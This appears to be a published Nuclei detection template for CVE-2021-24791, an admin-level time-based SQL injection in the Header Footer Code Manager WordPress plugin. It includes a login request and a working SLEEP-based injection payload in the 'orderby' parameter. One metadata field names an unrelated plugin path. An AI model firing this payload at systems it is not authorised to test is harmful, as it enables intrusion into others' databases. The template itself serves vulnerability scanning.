Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection

ID: CVE-2021-24791

Severity: high

Author: r3Y3r53

Tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,header-footer-code-manager,draftpress

Description

The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the “orderby” and “order” request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections

YAML Source

id: CVE-2021-24791

info:
  name: Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the "orderby" and "order" request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections
  remediation: Fixed in version 1.1.14
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24791
    - https://wpscan.com/vulnerability/d55caa9b-d50f-4c13-bc69-dc475641735f
    - https://wordpress.org/plugins/header-footer-code-manager/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24791
    cwe-id: CWE-89
    epss-score: 0.10363
    epss-percentile: 0.94849
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,header-footer-code-manager,draftpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 20s
        GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2,"Add New Snippet")'
        condition: and
# digest: 490a004630440220511c0e02ec955c49ed5e82cfa5e86a168096d24653cb17af398747cbeb9595610220479c721792624c39a9b8bfc8893ad0318a37b3b748837d5565b8c72bd9e1d0c0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24791.yaml"

View on Github